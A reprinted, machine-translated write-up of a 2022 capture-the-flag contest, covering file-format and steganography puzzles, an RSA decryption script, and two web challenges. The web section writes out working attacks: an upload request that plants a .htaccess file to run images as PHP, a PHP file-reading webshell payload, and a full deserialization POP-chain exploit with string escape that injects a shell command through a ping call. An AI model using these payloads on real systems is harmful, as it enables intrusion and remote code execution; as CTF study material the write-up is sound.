Original link: https://5ime.cn/qgb-2022.html
write in front
I feel that the competition experience is average. It is understandable that after all, this competition is the first time. The sign-in question was squatted on time at 8:59
, and the sign-in question was only at 9:01
? ! At first I thought there was no sign in question…
The collapse of the game question fans (the game team said: the flag echo has become the default value, so the obtained flag is not the correct flag, and the problem is maintained offline, but more than a dozen teams have already submitted successfully?! Then all the PWN
were offline and maintained. And the Web
question type, after the re-launch, except for one, two and three blood, other teams need to resubmit…
The second is that the final environment has become like this. It cannot be destroyed, delayed, or reopened.
Misc
Welcome_to_QGB
base64
decoding to get flag
find gifs
aaa
found that the file header is png
, we directly changed it to aaa.png
After the modification, it is obvious that the image is bbb.zip
half, directly change the height, and rotate the image to get the decompression password of fHKKjfido%^&v1
After decompression, we get bbb
and then we find the key string NETSCAPE2.0
This string indicates that the file is GIF
We add the file header 47 49 46 38 39 61
and change the file name to bbb.gif
to get the flag
big boss big boss
lsb
steganography, directly exported as flag.png
Then modify the file height
The fun picture
Blasting out the password is 6g3T
After decompression, the three files flag
and flag.txt
are used to confuse us. Through a hexadecimal editor, it is found that FUN.png
is actually a zip
archive file. FUN.png
changed to FUN.zip
to get flag3
, and then it is found that flag3
missing. png
file header 89 50 4e 47
, after adding, the file suffix is changed to .png
and scan the code to get the flag
B@tCh
According to the characteristics of the file content, it is judged that it is a file encrypted by BatchEncryption
( [original tool][201610]BatchEncryption – batch encryption program ), and found a decryption script to restore the batch file confused by BatchEncryption (version 201610).
We just comment out lines 17-19
and change the value of i
to 9
. Because the original 9-60
characters are the ::BatchEncryption Build 201610 By [email protected]
string, but the title does not have this string, so we start decrypting from the 9
character instead, (in fact, use a hexadecimal editor If you add this string to the title, you don’t need to modify the script, but it feels a little troublesome
Web
Upload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
|
<?php session_start (); echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Upload</title> <form action=\"\" method=\"post\" enctype=\"multipart/form-data\"> 上传文件<input type=\"file\" name=\"uploaded\" /> <input type=\"submit\" name=\"submit\" value=\"上传\" /> </form>" ; error_reporting ( 0 ); if (! isset ( $_SESSION [ 'user' ])){ $_SESSION [ 'user' ] = md5 (( string ) time () . ( string ) rand ( 100 , 1000 )); } if ( isset ( $_FILES [ 'uploaded' ])) { $target_path = getcwd () . "/upload/" . md5 ( $_SESSION [ 'user' ]); $t_path = $target_path . "/" . basename ( $_FILES [ 'uploaded' ][ 'name' ]); $uploaded_name = $_FILES [ 'uploaded' ][ 'name' ]; $uploaded_ext = substr ( $uploaded_name , strrpos ( $uploaded_name , '.' ) + 1 ); $uploaded_size = $_FILES [ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES [ 'uploaded' ][ 'tmp_name' ];
if ( preg_match ( "/ph/i" , strtolower ( $uploaded_ext ))){ die ( "后缀名不可以有ph!" ); } else { if ((( $_FILES [ "uploaded" ][ "type" ] == " " ) || ( $_FILES [ "uploaded" ][ "type" ] == "image/jpeg" ) || ( $_FILES [ "uploaded" ][ "type" ] == "image/pjpeg" )) && ( $_FILES [ "uploaded" ][ "size" ] < 2048 )){ $content = file_get_contents ( $uploaded_tmp ); if ( preg_match ( "/\<\?/i" , $content )){ die ( "em..........这不还是php吗" ); } else { mkdir ( iconv ( "UTF-8" , "GBK" , $target_path ), 0777 , true ); move_uploaded_file ( $uploaded_tmp , $t_path ); echo " {$t_path} succesfully uploaded!" ; } } else { die ( "上传类型这么明显!" ); } } } ?>
|
The black box tested it, filtered ph
and mime
, we directly uploaded the picture horse, first uploaded a .htaccess
file, and executed all the files as php
1 2 3 4 5 6 7 8 9 10 11 12
|
------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition : form-data; name="uploaded"; filename=".htaccess" Content-Type : image/jpeg
SetHandler application/x-httpd-php
------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition : form-data; name="submit"
上传 ------WebKitFormBoundaryrFspz4AKexD8h06m--
|
Then I wrote a PHP
sentence in JS
. The most common sentence I wrote at the beginning was filtered. I looked at phpinfo
and found that the command execution functions were all filtered out. I used the built-in function backhand, and first used var_dump()
and scandir()
. scandir()
function prints the contents of the specified directory
1 2 3 4 5 6 7 8 9 10 11 12
|
------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition : form-data; name="uploaded"; filename=".htaccess" Content-Type : image/jpeg
GIF89a <script language="php">var_dump(scandir('/var/'))</script>
------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition : form-data; name="submit"
上传 ------WebKitFormBoundaryrFspz4AKexD8h06m--
|
Then use the highlight_file()
function to read the file content and get the flag.
1
|
GIF89 a <script language= "php" > highlight_file ( '/var/flag' )</script>
|
ezpop_new
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
|
<?php function filter ( $string ) { $safe = array ( 'system' , 'fopen' , 'fread' , 'file_get_contents' , 'flag' ); $safe = '/' . implode ( '|' , $safe ) . '/i' ; return preg_replace ( $safe , 'nonono' , $string ); } class PingUtils { function __call ( $name , $args ) { system ( "ping -c4 ${args[0]}" ); } } class Cindy { var $someone ; var $phone ; function call ( ) { $this ->phone-> call ( $this ->someone); } } class Bob { public $flag = True; public function __get ( $a ) { if ( $this ->flag) { $cindy = new Cindy (); $cindy ->someone = $_REQUEST [ 'someone' ]; $cindy ->phone = "p50" ; #var_dump(filter(serialize($cindy))); $cindy = unserialize ( filter ( serialize ( $cindy ))); $cindy -> call ( $someone ); } else { echo 'nonono' ; } } public function __wakeup ( ) { $this ->flag = False; } } class Alice { public function __destruct ( ) { echo $this ->c->b; } } highlight_file ( __FILE__ ); @ unserialize ( $_GET [ 'pop' ]);
|
After auditing, we found that the final destination of deserialization is system("ping -c4 ${args[0]}");
in class PingUtils::__call()
, we can control the args[0]
parameter, and only need to By using the command separator ;
to bypass the ping
command and execute the desired command. Then push forward to find the entire POP chain:
1 2 3 4 5 6 7 8 9 10 11 12
|
class Alice :: __destruct () echo $ this -> c -> b ; class Bob :: __wakeup () //绕过__wakeup () class Bob :: __get ($ a ) $ cindy = unserialize ( filter ( serialize ($ cindy ))); //字符串逃逸修改$ cindy -> phone = " p50 "为$ cindy -> phone = " ls / flag " $ cindy -> call ($ someone ); class Cindy :: call () $ this -> phone -> call ($ this -> someone ); class PingUtils :: __call ($ name ,$ args ) system (" ping - c4 $ {args[ 0 ]} ");
|
There are also two tricks involved in the deserialization process:
Bypass __wakeup()
Since we need to enter the if
clause of class Bob::__get($a)
, the Bob
object will first trigger __wakeup()
when deserializing, thus making its flag
property False
. So we manually modify the serialization stream so that when the number of attributes represented in the serialization stream is greater than the actual number of attributes, the execution of the __wakeup()
magic method will be skipped.
Write exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
<?php class Alice { public $b ; public $c ; } class Bob { public $flag ; } $a = new Alice (); $b = new Bob (); $b ->flag = True; $a ->c = $b ; $a ->b = 'unknow' ; ?>
# 手动修改序列化流: # O:5:"Alice":3:{s:1:"b";s:6:"unknow";s:1:"c";O:3:"Bob":1:{s:4:"flag";b:1;}} # O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D
|
It should be possible to modify the number of attributes of Alice
or the number of attributes of Bob
.
PHP string escape
Use $cindy->someone = $_REQUEST['someone'];
to escape the string, thereby overwriting the phone
property of the Cindy
object in class Bob::__get($a)
as the PingUtils
object. And the command we want to execute is also stored in the somesone
attribute.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
# 1.本地调试,打印出Cindy对象序列化后的流 "O:5:" Cindy ":2:{s:7:" someone ";s:12:" flagflagflag ";s:5:" phone ";s:3:" p50 ";}"
# 2.组织我们要逃逸出的内容。共35个字符 ";s:5:" phone ";O:9:" PingUtils ":0:{}}
# 3.选用fopen关键字,被filter函数替换为nonono后就会溢出一个字符,因此需要35个fopen。 O:5:" Cindy ":2:s:7:" someone ";s:213:" fopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopen;ls/ ";s:5:" phone ";O:9:" PingUtils ":0:{}}" ;s: 5 : "phone" ;s: 3 : "p50" ;}
# 4.替换后就是,溢出35个字符 O: 5 : "Cindy" : 2 :s: 7 : "someone" ;s: 213 : "nonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononono;ls /" ;s: 5 : "phone" ;O: 9 : "PingUtils" : 0 :{}} ";s:5:" phone ";s:3:" p50 ";}
# URL编码 %66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d
|
So the final complete payload is:
1
|
/?pop=O% 3 A5% 3 A% 22 Alice% 22 % 3 A3% 3 A% 7 Bs% 3 A1% 3 A% 22 b% 22 % 3 Bs% 3 A6% 3 A% 22 unknow% 22 % 3 Bs% 3 A1% 3 A% 22 c% 22 % 3 BO% 3 A3% 3 A% 22 Bob% 22 % 3 A1% 3 A% 7 Bs% 3 A4% 3 A% 22 flag% 22 % 3 Bb% 3 A1% 3 B% 7 D% 7 D&someone=% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 3 b% 6 c% 73 % 20 % 2 f% 22 % 3 b% 73 % 3 a% 35 % 3 a% 22 % 70 % 68 % 6 f% 6 e% 65 % 22 % 3 b% 4 f% 3 a% 39 % 3 a% 22 % 50 % 69 % 6 e% 67 % 55 % 74 % 69 % 6 c% 73 % 22 % 3 a% 30 % 3 a% 7 b% 7 d% 7 d
|
Crypto
babyRSA
1 2 3 4 5 6 7 8 9 10 11 12
|
import gmpy2 p = 138426212841397149251588296134109165537899310438173750798364671675288360000561798355248532054510396589533971267028332214842673811687883616744131130398289077554612883492204032984950562003356001139508926059499376562553551028636226548350263501563647121411422314575340826478224596800551927493501012088298680613879 q = 143049585916449723925099288769361999764006236021072588846981723369760726410300239985500007665844216512624584735358913225102358935263419564762626442560266419262555820476424949328464294635696200999314599615276252945343396324462380831303649657541178450608628341694003116451196859197001909770503494349726784153027 e = 33 c = 8289193595993122921665841895022976104081072031742625708463764526627277052318279883859957490142516216024577600646435489409922900157398525709897066174566802837502462355349783465478982642622084973551364981880045419080599645199823932885880822500635358984691098019833373137233421653021398144494548012693727095816659975325054446041806452350925160187980103112171629784199440456927010178848494443466141894033183475723365090593126309457761806861074583084445735295863195227044710706725657905516027928685083079534461311107335936896525014768633605005601716003989306032040278750752221002412831419560140443505534384151408234420458 n = p * q fn = (p - 1 ) * (q - 1 ) d = gmpy2.invert(e, fn) h = hex (gmpy2.powmod(c, d, n))[ 2 :] if len (h) % 2 == 1 : h= '0' + h print (h)
|
The output content hexadecimal converted to a string is the flag
This article is reprinted from: https://5ime.cn/qgb-2022.html
This site is for inclusion only, and the copyright belongs to the original author.